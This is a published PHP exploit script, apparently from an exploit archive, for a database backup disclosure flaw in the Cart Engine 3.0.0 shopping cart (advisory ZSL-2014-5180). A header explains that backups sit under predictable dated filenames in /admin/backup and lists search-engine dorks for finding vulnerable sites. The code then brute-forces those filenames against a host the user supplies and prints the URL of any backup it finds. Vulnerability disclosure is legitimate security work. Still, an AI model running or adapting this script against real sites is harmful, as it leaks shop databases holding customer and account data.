Cart Engine 3.0.0 – Database Backup Disclosure
<?php /* Cart Engine 3.0.0 Database Backup Disclosure Exploit Vendor: C97net Product web page: http://www.c97.net Affected version: 3.0.0 Summary: Open your own online shop today with Cart Engine! The small, yet powerful and don't forget, FREE shopping cart based on PHP & MySQL. Unique features of Cart Engine include: CMS engine based on our qEngine, product options, custom fields, digital products, search engine friendly URL, user friendly administration control panel, easy to use custom fields, module expandable, sub products, unsurpassed flexibility...and more! Desc: Cart Engine stores database backups using the Backup DB tool with a predictable file name inside the '/admin/backup' directory as 'Full Backup YYYYMMDD.sql' or 'Full Backup YYYYMMDD.gz', which can be exploited to disclose sensitive information by downloading the file. The '/admin/backup' is also vulnerable to directory listing by default. Tested on: Apache/2.4.7 (Win32) PHP/5.5.6 MySQL 5.6.14 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2014-5180 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5180.php Dork #1: intitle:powered by c97.net Dork #2: intitle:powered by qEngine Dork #3: intitle:powered by Kemana.c97.net Dork #4: intitle:powered by Cart2.c97.net 07.03.2014 */ error_reporting(0); function status($done, $total, $size=20) { static $start_time; if($done > $total) return; if(empty($start_time)) $start_time=time(); $now = time(); $perc=(double)($done/$total); $bar=floor($perc*$size); $disp=number_format($perc*100, 0); $status_bar="\r $disp% ["; $status_bar.=str_repeat("=", $bar); if($bar<$size) { $status_bar.=">"; $status_bar.=str_repeat(" ", $size-$bar); } else { $status_bar.="="; } $status_bar.="] $done/$total"; $rate = ($now-$start_time)/$done; $left = $total - $done; $eta = round($rate * $left, 2); $elapsed = $now - $start_time; $status_bar.= " remaining: ".number_format($eta)." sec. elapsed: ".number_format($elapsed)." sec."; echo "$status_bar "; flush(); if($done == $total) { echo "\n"; } } print " @---------------------------------------------------------------@ | | | Cart Engine 3.0.0 Database Backup Disclosure Exploit | | | | | | Copyleft (c) 2014, Zero Science Lab | | | | Advisory ID: ZSL-2014-5180 | | www.zeroscience.mk | | | @---------------------------------------------------------------@ "; if ($argc < 4) { print "\n\n [+] Usage: php $argv[0] <host> <port> <dirname>\n\n"; print " [+] Example: php $argv[0] zeroscience.mk 80 hercules\n\n"; die(); } $godina_array = array('2014','2013','2012','2011','2010'); $mesec_array = array('12','11','10','09', '08','07','06','05', '04','03','02','01'); $dn_array = array('31','30','29','28','27','26', '25','24','23','22','21','20', '19','18','17','16','15','14', '13','12','11','10','09','08', '07','06','05','04','03','02', '01'); $host = $argv[1]; $port = intval($argv[2]); $path = $argv[3]; $dbnm = "Full%20Backup%20"; $alert1 = "\033[1;31m"; $alert2 = "\033[0;37m"; $alert3 = "\033[1;32m"; echo "\n [*] Running checks:\n\n"; foreach($godina_array as $godina) { foreach($mesec_array as $mesec) { $x++; status($x, 58); foreach($dn_array as $dn) { $ext=".gz"; if(file_get_contents("http://".$host.":".$port."/".$path."/admin/backup/".$dbnm.$godina.$mesec.$dn.$ext)) { echo "\n"; echo $alert1; print "\n\n\n !!! DATABASE BACKUP FILE FOUND !!!\n\n"; echo $alert2; print " Filename: 'Full Backup ".$godina.$mesec.$dn.$ext."'\n"; print " Full URL:\x20"; echo $alert3; die("http://".$host.":".$port."/".$path."/admin/backup/".$dbnm.$godina.$mesec.$dn.$ext."\n\n"); } $ext=".sql"; if(file_get_contents("http://".$host.":".$port."/".$path."/admin/backup/".$dbnm.$godina.$mesec.$dn.$ext)) { echo "\n"; echo $alert1; print "\n\n\n !!! DATABASE BACKUP FILE FOUND !!!\n\n"; echo $alert2; print " Filename: 'Full Backup ".$godina.$mesec.$dn.$ext."'\n"; print " Full URL:\x20"; echo $alert3; die("http://".$host.":".$port."/".$path."/admin/backup/".$dbnm.$godina.$mesec.$dn.$ext."\n\n"); } } } } print "\n\n [*] Zero findings!\n\n\n"; ?> |